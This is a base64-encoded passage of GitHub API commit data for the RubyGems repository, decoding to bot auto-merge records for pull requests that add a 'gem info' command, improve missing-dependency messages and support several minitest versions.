GVzdFxuXG4jIERlc2NyaXB0aW9uOlxuXG5UaGVzZSBwYXRjaGVzIHNob3VsZCBhbGxvdyBSdWJ5R2VtcyB0byB0ZXN0IHdpdGggYm90aCBvbGQgYW5kIG5ldyBtaW5pdGVzdCB2ZXJzaW9ucy5cblxuIyBUYXNrczpcblxuLSBbWF0gRGVzY3JpYmUgdGhlIHByb2JsZW0gLyBmZWF0dXJlXG4tIFsgXSBXcml0ZSB0ZXN0c1xuLSBbWF0gV3JpdGUgY29kZSB0byBzb2x2ZSB0aGUgcHJvYmxlbVxuLSBbIF0gR2V0IGNvZGUgcmV2aWV3IGZyb20gY293b3JrZXJzIC8gZnJpZW5kc1xuXG5JIHdpbGwgYWJpZGUgYnkgdGhlIFtjb2RlIG9mIGNvbmR1Y3RdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9DT0RFX09GX0NPTkRVQ1QubWQpLiIsInRyZWUiOnsic2hhIjoiOGM0NWE2YmE5YWY1M2ZiMTMyYzZhNmMzZWYzM2RmYmIxOTg5ZTI1YSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzhjNDVhNmJhOWFmNTNmYjEzMmM2YTZjM2VmMzNkZmJiMTk4OWUyNWEifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy84MTRlYTdhNGEwMDk4OTY2ZGQ3ZWNkMmQ5Y2FkM2ZiZjE2MTVmMmUwIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjpmYWxzZSwicmVhc29uIjoidW5zaWduZWQiLCJzaWduYXR1cmUiOm51bGwsInBheWxvYWQiOm51bGx9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzgxNGVhN2E0YTAwOTg5NjZkZDdlY2QyZDljYWQzZmJmMTYxNWYyZTAiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvODE0ZWE3YTRhMDA5ODk2NmRkN2VjZDJkOWNhZDNmYmYxNjE1ZjJlMCIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy84MTRlYTdhNGEwMDk4OTY2ZGQ3ZWNkMmQ5Y2FkM2ZiZjE2MTVmMmUwL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiYnVuZGxlcmJvdCIsImlkIjoxMzYxNDYyMiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTM2MTQ2MjI/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9idW5kbGVyYm90IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiYnVuZGxlcmJvdCIsImlkIjoxMzYxNDYyMiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTM2MTQ2MjI/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9idW5kbGVyYm90IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiZWFkMWNkMmY3ZWQ2NTI5NDA0YjlhZDg4Mzk2M2I1MDY2OTAwZTFkNSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9lYWQxY2QyZjdlZDY1Mjk0MDRiOWFkODgzOTYzYjUwNjY5MDBlMWQ1IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2VhZDFjZDJmN2VkNjUyOTQwNGI5YWQ4ODM5NjNiNTA2NjkwMGUxZDUifSx7InNoYSI6ImYxZWIzYjgzNjEwYzJkMjFlNGRiZGIzNDdjYTM3YWY2ZDI2MTQyODkiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZjFlYjNiODM2MTBjMmQyMWU0ZGJkYjM0N2NhMzdhZjZkMjYxNDI4OSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9mMWViM2I4MzYxMGMyZDIxZTRkYmRiMzQ3Y2EzN2FmNmQyNjE0Mjg5In1dfSx7InNoYSI6ImVhZDFjZDJmN2VkNjUyOTQwNGI5YWQ4ODM5NjNiNTA2NjkwMGUxZDUiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJUaGUgQnVuZGxlciBCb3QiLCJlbWFpbCI6ImJvdEBidW5kbGVyLmlvIiwiZGF0ZSI6IjIwMTctMTItMjBUMTg6NTc6NTlaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiVGhlIEJ1bmRsZXIgQm90IiwiZW1haWwiOiJib3RAYnVuZGxlci5pbyIsImRhdGUiOiIyMDE3LTEyLTIwVDE4OjU3OjU5WiJ9LCJtZXNzYWdlIjoiQXV0byBtZXJnZSBvZiAjMjAyMyAtIGNvbGJ5LXN3YW5kYWxlOmdlbS1pbmZvLCByPWluZGlyZWN0XG5cbmFkZCBpbmZvIGNvbW1hbmQgdG8gcHJpbnQgaW5mb3JtYXRpb24gYWJvdXQgYW4gaW5zdGFsbGVkIGdlbVxuXG4jIERlc2NyaXB0aW9uOlxuXG5RdWlldCBvZnRlbiBpIHdhbnQgdG8ga25vdyBzb21lIGluZm9ybWF0aW9uIGFib3V0IGEgZ2VtIGluc3RhbGxlZCBpbiBteSBydWJ5IGVudmlyb25tZW50IHN1Y2ggYXMgd2hhdCB0aGUgZ2VtIGRvZXMgYW5kIGEgbGluayB0byBnZXQgbW9yZSBpbmZvcm1hdGlvbi4gQ3VycmVudGx5IGkgbmVlZCB0byBmaW5kIHRoaXMgaW5mb3JtYXRpb24gdmlhIFJ1YnlHZW1zLm9yZyB3aGljaCBpcyBib3RoIGlzIHRheGluZyBhbmQgdW5uZWNlc3NhcnkgZm9yIHRoZSB0aGUgdXNlci5cblxuVGhlcmUgaXMgY3VycmVudGx5IGEgYHNwZWNpZmljYXRpb25gIGNvbW1hbmQgd2hpY2ggcHJpbnRzIHRoZSBzcGVjaWZpY2F0aW9uIGluIFlBTUwgdG8gdGhlIHVzZXIgYnV0IGkgZmluZCB0aGlzIGFzIG5vdCB2ZXJ5IHVzZXIgZnJpZW5kbHkuXG5cblRoaXMgUFIgaW50cm9kdWNlcyB0aGUgYGluZm9gIGNvbW1hbmQgd2hpY2ggcHJpbnRzIGEgc2V0IG9mIGJhc2ljIGluZm9ybWF0aW9uIGFib3V0IHRoZSBnaXZlbiBnZW0sIHN1Y2ggYXMgdGhlIGhvbWVwYWdlLCBwYXRoIGFuZCB0aGUgc3VtbWFyeSBpbiBhIHNpbXBsZSBhbmQgVUkgZnJpZW5kbHkgbWFubmVyOlxuXG5gYGBcbiQgZ2VtIGluZm8gcmFja1xuICAqIHJhY2sgKDIuMC4zKVxuICAgICAgICBTdW1tYXJ5OiBhIG1vZHVsYXIgUnVieSB3ZWJzZXJ2ZXIgaW50ZXJmYWNlXG4gICAgICAgIEhvbWVwYWdlOiBodHRwOi8vcmFjay5naXRodWIuaW8vXG4gICAgICAgIFBhdGg6IC9Vc2Vycy9jLy5nZW0vcnVieS8yLjMuMS9nZW1zL3JhY2stMi4wLjNcbmBgYFxuVGhpcyBhbGxvd3MgbWUgdG8gZ2V0IGEgcXVpY2sgc2Vuc2Ugb2Ygd2hhdCB0aGUgZ2VtIGRvZXMgYW5kIGEgbGluayB0aGF0IGkgY2FuIGZvbGxvdyBmb3IgbW9yZSBpbmZvcm1hdGlvbiBpZiBpIHdhbnRlZCB0by5cblxuTm90ZTogVGhpcyBjb21tYW5kIGlzIG5lYXJseSB0aGUgc2FtZSB0aGluZyBhcyBgYnVuZGxlIGluZm9gIHRoYXQgaSBhbHNvIGltcGxlbWVudGVkXG5cblRoZSBgaW5mb2AgY29tbWFuZCBhbHNvIGFsbG93cyBzcGVjaWZ5aW5nIGEgdmVyc2lvbiwgc3VjaCBhczpcblxuYGBgXG4kIGdlbSBpbmZvIHJhY2sgLXYgMS42LjhcbiAgKiByYWNrICgxLjYuOClcbiAgICAgICAgU3VtbWFyeTogYSBtb2R1bGFyIFJ1Ynkgd2Vic2VydmVyIGludGVyZmFjZVxuICAgICAgICBIb21lcGFnZTogaHR0cDovL3JhY2suZ2l0aHViLmlvL1xuICAgICAgICBQYXRoOiAvVXNlcnMvYy8uZ2VtL3J1YnkvMi4zLjEvZ2Vtcy9yYWNrLTEuNi44XG5gYGBcblxuSXQgd2lsbCBhbHNvIG5vdGUgaWYgdGhlIGdlbSBpcyBhIGRlZmF1bHQgZ2VtIGFzIHdlbGxcblxuYGBgXG7igLogZ2VtIGluZm8ganNvblxuICAqIGpzb24gKDEuOC4zKVxuICAgICAgICBTdW1tYXJ5OiBUaGlzIGpzb24gaXMgYnVuZGxlZCB3aXRoIFJ1YnlcbiAgICAgICAgUGF0aDogL1VzZXJzL2MvLnJ1Ymllcy9ydWJ5LTIuMy4xL2xpYi9ydWJ5L2dlbXMvMi4zLjAvZ2Vtcy9qc29uLTEuOC4zXG4gICAgICAgIERlZmF1bHQgR2VtOiB5ZXNcbmBgYFxuX19fX19fX19fX19fX19cblxuIyBUYXNrczpcblxuLSBbeF0gRGVzY3JpYmUgdGhlIHByb2JsZW0gLyBmZWF0dXJlXG4tIFt4XSBXcml0ZSB0ZXN0c1xuLSBbeF0gV3JpdGUgY29kZSB0byBzb2x2ZSB0aGUgcHJvYmxlbVxuLSBbIF0gR2V0IGNvZGUgcmV2aWV3IGZyb20gY293b3JrZXJzIC8gZnJpZW5kc1xuXG5JIHdpbGwgYWJpZGUgYnkgdGhlIFtjb2RlIG9mIGNvbmR1Y3RdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9DT0RFX09GX0NPTkRVQ1QubWQpLiIsInRyZWUiOnsic2hhIjoiM2UxMjkzMGJkNzBiMGM3N2NlMDQ1Njc5MDg5NTIwNDdmMTU3ZmUxOSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzNlMTI5MzBiZDcwYjBjNzdjZTA0NTY3OTA4OTUyMDQ3ZjE1N2ZlMTkifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy9lYWQxY2QyZjdlZDY1Mjk0MDRiOWFkODgzOTYzYjUwNjY5MDBlMWQ1IiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjpmYWxzZSwicmVhc29uIjoidW5zaWduZWQiLCJzaWduYXR1cmUiOm51bGwsInBheWxvYWQiOm51bGx9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2VhZDFjZDJmN2VkNjUyOTQwNGI5YWQ4ODM5NjNiNTA2NjkwMGUxZDUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvZWFkMWNkMmY3ZWQ2NTI5NDA0YjlhZDg4Mzk2M2I1MDY2OTAwZTFkNSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9lYWQxY2QyZjdlZDY1Mjk0MDRiOWFkODgzOTYzYjUwNjY5MDBlMWQ1L2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiYnVuZGxlcmJvdCIsImlkIjoxMzYxNDYyMiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTM2MTQ2MjI/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9idW5kbGVyYm90IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiYnVuZGxlcmJvdCIsImlkIjoxMzYxNDYyMiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTM2MTQ2MjI/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9idW5kbGVyYm90IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiZWI4ZTE1M2ZhMTQ1MThiY2ZkOGE1OTQ4OTY2YWMzZjQyMzFkNzczMyIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9lYjhlMTUzZmExNDUxOGJjZmQ4YTU5NDg5NjZhYzNmNDIzMWQ3NzMzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2ViOGUxNTNmYTE0NTE4YmNmZDhhNTk0ODk2NmFjM2Y0MjMxZDc3MzMifSx7InNoYSI6IjNhNzQ0ODkzYjQyMTc3ZmE0NGFmMzRkODhmNzc5NmRhYmE1ZmUwNjUiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvM2E3NDQ4OTNiNDIxNzdmYTQ0YWYzNGQ4OGY3Nzk2ZGFiYTVmZTA2NSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC8zYTc0NDg5M2I0MjE3N2ZhNDRhZjM0ZDg4Zjc3OTZkYWJhNWZlMDY1In1dfSx7InNoYSI6ImViOGUxNTNmYTE0NTE4YmNmZDhhNTk0ODk2NmFjM2Y0MjMxZDc3MzMiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJUaGUgQnVuZGxlciBCb3QiLCJlbWFpbCI6ImJvdEBidW5kbGVyLmlvIiwiZGF0ZSI6IjIwMTctMTItMjBUMDg6NTc6MzlaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiVGhlIEJ1bmRsZXIgQm90IiwiZW1haWwiOiJib3RAYnVuZGxlci5pbyIsImRhdGUiOiIyMDE3LTEyLTIwVDA4OjU3OjM5WiJ9LCJtZXNzYWdlIjoiQXV0byBtZXJnZSBvZiAjMjA2NyAtIGFraHJhbW92OmZlYXR1cmUvc2hvdy1kZXBlbmRlbnQtZ2VtLW9mLW1pc3NpbmctZ2VtLCByPWR1Y2tpbmF0b3JcblxuU2hvdyB3aGljaCBnZW0gcmVmZXJlbmNlZCBhIG1pc3NpbmcgZ2VtXG5cbiMgRGVzY3JpcHRpb246XG5JZiBnZW0ncyBkZXBlbmRlbmN5IGlzIG1pc3NpbmcsIHRoZSBvdXRwdXQganVzdCBzaG93cyB0aGUgbWlzc2luZyBnZW0sXG5sZWF2aW5nIHRoZSBkZXBlbmRlbnQgZ2VtIG9ic2N1cmUuICgjMjAzOSlcblxuVGhpcyBjaGFuZ2UgYWRkcyB0aGUgZGVwZW5kZW50IGdlbSB0byB0aGUgb3V0cHV0IG1lc3NhZ2UuXG5fX19fX19fX19fX19fX1xuXG4jIFRhc2tzOlxuXG4tIFt4XSBEZXNjcmliZSB0aGUgcHJvYmxlbSAvIGZlYXR1cmVcbi0gW3hdIFdyaXRlIHRlc3RzXG4tIFt4XSBXcml0ZSBjb2RlIHRvIHNvbHZlIHRoZSBwcm9ibGVtXG4tIFsgXSBHZXQgY29kZSByZXZpZXcgZnJvbSBjb3dvcmtlcnMgLyBmcmllbmRzXG5cbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuIiwidHJlZSI6eyJzaGEiOiJmNGRlODYxM2NjMzJkYmQ4YjUxYTRlMDNjYWNkNTEwY2Y2ZjBkMWNlIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvZjRkZTg2MTNjYzMyZGJkOGI1MWE0ZTAzY2FjZDUxMGNmNmYwZDFjZSJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzL2ViOGUxNTNmYTE0NTE4YmNmZDhhNTk0ODk2NmFjM2Y0MjMxZDc3MzMiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOmZhbHNlLCJyZWFzb24iOiJ1bnNpZ25lZCIsInNpZ25hdHVyZSI6bnVsbCwicGF5bG9hZCI6bnVsbH19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZWI4ZTE1M2ZhMTQ1MThiY2ZkOGE1OTQ4OTY2YWMzZjQyMzFkNzczMyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9lYjhlMTUzZmExNDUxOGJjZmQ4YTU5NDg5NjZhYzNmNDIzMWQ3NzMzIiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2ViOGUxNTNmYTE0NTE4YmNmZDhhNTk0ODk2NmFjM2Y0MjMxZDc3MzMvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJidW5kbGVyYm90IiwiaWQiOjEzNjE0NjIyLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMzYxNDYyMj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2J1bmRsZXJib3QiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJidW5kbGVyYm90IiwiaWQiOjEzNjE0NjIyLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMzYxNDYyMj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2J1bmRsZXJib3QiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9naXN0c3svZ2lzdF9